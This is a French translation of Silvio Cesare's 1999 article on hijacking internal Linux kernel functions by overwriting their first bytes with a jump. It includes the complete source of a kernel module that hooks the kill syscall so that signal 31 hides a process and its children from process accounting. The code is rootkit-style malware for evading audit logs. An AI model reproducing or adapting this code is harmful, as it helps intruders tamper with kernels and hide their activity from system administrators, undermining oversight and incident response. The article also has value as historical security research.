Hijacking de fonctions Kernel
- Silvio Cesare silvio@big.net.au
- November 1999
Translation by eberkut - http://www.chez.com/keep
Introduction
Cet article décrit une méthode d'hijacking des fonctions internes du kernel,
c'est à dire, les fonctions kernel qui sont déclarées à l'intérieur du
kernel sans pointeur ou vecteur de fonction pour changer la fonction kernel
qu'elle pointe aussi. Ceci peut avoir des utilisations pratiques, comme donné
en code d'exemple qui patch le code d'accounting du processus pour ne pas logger
des processus spécialement marqués (les processus donnés signalent 31).
Hijacking de fonctions Kernel
Les prémises basiques pour cette attaque sont de remplacer les premiers octets
de la fonction initiale par un jump ASM vers le jump de remplacement.
L'algorithme suit
In init_module...
* sauvegarder les 7 premiers octets de la fonction initiale pour usage
ultérieur
* placer le nouveau code jump pour se pointer vers la fonction de remplacement
* replacer les 7 premiers octets de la fonction initiale par un saut
In cleanup_module...
* restaurer les octets de la fonction initiale avec la copie sauvegardée
In the replacement function...
* faire la charge utile pour appeler la vieille fonction...
* restaurer les octets de la fonction initiale avec la copie sauvegardée
* appeler la fonction initiale
* remplacer les 7 premier soctets de la fonction initiale par un saut
Le jump ASM utilisé est un saut indirect... Ceci signifie aucun dérangement
avec des calculs d'offsets.
movl $address_to_jump,%eax
jmp *%eax
L'exemple implémenté
Le code d'exemple patche des acct_process dans kernel/sys.c qui explique le
processus accounting. Normalement, vous ne pouvez pas rediriger des acct_process,
mais ceci fait tout le logging pour le processus accounting, ainsi nous
détournent la fonction pour contrôler le logging de processus.
Le code travaille en attendant un kill -31 d'un processus, quand il est reçu,
le syscall kill de remplacement place un bit dans les flags de processus qui
marque le processus pour ne pas être enregistré par le processus accounting.
Cette technique est idéale ainsi quand le processus fork, les flags du
processus sont copiés, ainsi ses enfants sont aussi libres de log. Le coeur du
code est dans _acct_process qui regarde les flags de processus et si ils sont
marqués pour ne pas être loggé, retourne sans appeler les acct_process
initiaux.
Les variables acct_process doivent être assignés
à l'adresse correcte de la fonction dans le kernel. Typiquement, ceci ce trouve
dans System.map mais si aucune carte n'est présente alors les techniques
décrites dans mon article sur les RUNTIME KERNEL KMEM PATCHING (http://www.big.net.au/~silvio/)
peuvent être utilisées.
-- acct_nolog.c (Linux 2.0.35)
#include <linux/config.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/utsname.h>
#include <linux/string.h>
#include <linux/sched.h>
#include <asm/string.h>
#include <asm/unistd.h>
/*
changez ça avec l'adresse correcte, qui peut être trouve dans System.map
*/
int (*acct_process)(int) = (int (*)(int))0x00114520;
#define CODESIZE 7
#define NOLOG_SIGNAL 31
#define NOLOG_PF 0x10000000
static char original_acct_code[7];
static char acct_code[7] =
"\xb8\x00\x00\x00\x00" /* movl $0,%eax */
"\xff\xe0" /* jmp *%eax */
;
int (*original_kill)(pid_t, int);
extern void *sys_call_table[];
void *_memcpy(void *dest, const void *src, int size)
{
const char *p = src;
char *q = dest;
int i;
for (i = 0; i < size; i++) *q++ = *p++;
return dest;
}
int _acct_process(long exitcode)
{
if (!(current->flags & NOLOG_PF)) {
int ret;
_memcpy(acct_process, original_acct_code, CODESIZE);
ret = acct_process(exitcode);
_memcpy(acct_process, acct_code, CODESIZE);
return ret;
}
return 0;
}
struct task_struct *find_task(pid_t pid)
{
struct task_struct *task = current;
do {
if (task->pid == pid) return task;
task = task->next_task;
} while (task != current);
return NULL;
}
int _kill(pid_t pid, int sig)
{
if (sig == NOLOG_SIGNAL) {
struct task_struct *task;
task = find_task(pid);
if (task == NULL) return - ESRCH;
task->flags |= NOLOG_PF;
return 0;
}
return original_kill(pid, sig);
}
int init_module(void)
{
original_kill = sys_call_table[__NR_kill];
sys_call_table[__NR_kill] = _kill;
*(long *)&acct_code[1] = (long)_acct_process;
_memcpy(original_acct_code, acct_process, CODESIZE);
_memcpy(acct_process, acct_code, CODESIZE);
return 0;
}
void cleanup_module(void)
{
sys_call_table[__NR_kill] = original_kill;
_memcpy(acct_process, original_acct_code, CODESIZE);
}